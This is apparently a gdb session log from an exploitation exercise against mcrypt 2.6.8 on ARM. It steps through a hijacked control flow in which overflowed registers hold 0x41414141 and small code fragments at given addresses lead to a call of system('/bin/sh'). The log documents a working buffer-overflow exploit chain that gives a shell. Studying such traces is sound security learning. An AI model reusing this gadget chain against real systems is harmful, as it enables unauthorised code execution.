~/Desktop/hpconarm/exploits/mcrypt-2.6.8 $ gdb --args src/mcrypt -d cyberpunk.nc

> b \*0x000131cc

Breakpoint 1 at 0x131cc: file mcrypt.c, line 392.

> r

Starting program: /home/pi/Desktop/hpconarm/exploits/mcrypt-2.6.8/src/mcrypt -d cyberpunk.nc

Breakpoint 1, 0x000131cc in \_\_do\_global\_dtors\_aux () at mcrypt.c:392

> i r

392 fprintf(stderr, \_("Error in algorithm '%s'.\n"), algorithm);

r0 0x0 0

r1 0x0 0

r2 0x30494 197780

r3 0x76f73eec 1995914988

r4 0x41414141 1094795585

r5 0x41414141 1094795585

r6 0x41414141 1094795585

r7 0x41414141 1094795585

r8 0x41414141 1094795585

r9 0x58ed0 364240

r10 0x594f8 365816

r11 0x1 1

r12 0x76f7408c 1995915404

sp 0x7effeb68 0x7effeb68

lr 0x1454c 83276

pc 0x131cc 0x131cc <\_\_do\_global\_dtors\_aux+32>

cpsr 0x60000010 1610612752

fpscr 0x0 0

> si

get\_env\_key () at environ.c:49

49 return tmp;

> i r

r0 0x0 0

r1 0x0 0

r2 0x30494 197780

r3 0x76f73eec 1995914988

r4 0x76edcb6c 1995295596

r5 0x41414141 1094795585

r6 0x41414141 1094795585

r7 0x41414141 1094795585

r8 0x41414141 1094795585

r9 0x58ed0 364240

r10 0x594f8 365816

r11 0x1 1

r12 0x76f7408c 1995915404

sp 0x7effeb70 0x7effeb70

lr 0x1454c 83276

pc 0x1513c 0x1513c <get\_env\_key+44>

cpsr 0x60000010 1610612752

fpscr 0x0 0

> si

0x00015140 49 return tmp;

> i r

r0 0x76edcb6c 1995295596

r1 0x0 0

r2 0x30494 197780

r3 0x76f73eec 1995914988

r4 0x76edcb6c 1995295596

r5 0x41414141 1094795585

r6 0x41414141 1094795585

r7 0x41414141 1094795585

r8 0x41414141 1094795585

r9 0x58ed0 364240

r10 0x594f8 365816

r11 0x1 1

r12 0x76f7408c 1995915404

sp 0x7effeb70 0x7effeb70

lr 0x1454c 83276

pc 0x15140 0x15140 <get\_env\_key+48>

cpsr 0x60000010 1610612752

fpscr 0x0 0

> si

\_\_libc\_system (line=0x76edcb6c "/bin/sh") at ../sysdeps/posix/system.c:180

180 ../sysdeps/posix/system.c: No such file or directory.

> i r

r0 0x76edcb6c 1995295596

r1 0x0 0

r2 0x30494 197780

r3 0x76f73eec 1995914988

r4 0x31000 200704

r5 0x41414141 1094795585

r6 0x41414141 1094795585

r7 0x41414141 1094795585

r8 0x41414141 1094795585

r9 0x58ed0 364240

r10 0x594f8 365816

r11 0x1 1

r12 0x76f7408c 1995915404

sp 0x7effeb78 0x7effeb78

lr 0x1454c 83276

pc 0x76de99c8 0x76de99c8 <\_\_libc\_system>

cpsr 0x60000010 1610612752

fpscr 0x0 0